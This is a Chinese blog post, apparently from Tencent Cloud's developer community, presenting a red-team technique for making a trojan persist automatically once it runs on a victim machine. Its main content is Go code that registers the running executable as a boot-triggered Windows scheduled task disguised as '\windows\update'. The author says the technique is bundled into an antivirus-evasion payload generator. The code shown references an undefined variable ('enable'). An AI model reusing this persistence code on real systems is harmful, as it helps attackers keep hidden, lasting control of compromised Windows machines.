前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >红队技术-上线木马自动维权

红队技术-上线木马自动维权

作者头像
hyyrent
发布2023-11-16 09:33:29
1750
发布2023-11-16 09:33:29
举报
文章被收录于专栏:安全学习记录

在攻防中,上线机器总是需要手动进行维权,太过于麻烦,何不直接上线即维权呢,直接放核心代码,当做个记录

https://github.com/capnspacehook/taskmaster

代码语言:javascript
复制
package main

import (
	"os"

	"github.com/capnspacehook/taskmaster"
)

func runWinTask(path string) {
	// 创建初始化计划任务
	taskService, _ := taskmaster.Connect()

	defer taskService.Disconnect()
	// 定义新的计划任务
	newTaskDef := taskService.NewTaskDefinition()
	// 添加执行程序的路径
	newTaskDef.AddAction(taskmaster.ExecAction{
		Path: path,
	})
	// 定义计划任务程序的执行时间等,设置为开机启动
	newTaskDef.AddTrigger(taskmaster.BootTrigger{
		TaskTrigger: taskmaster.TaskTrigger{
			Enabled: enable,
		},
	})

	// 创建计划任务
	result, _, _ := taskService.CreateTask("\\windows\\update", newTaskDef, true)
	result=result
}

func main() {
	path, err := os.Executable()
	if err != nil {
		return
	}

	runWinTask(path)
}

管理员权限下自动维权,分为自身维权和迁移路径维权版本,已集合至千机免杀一键生成

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2023-10-30,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档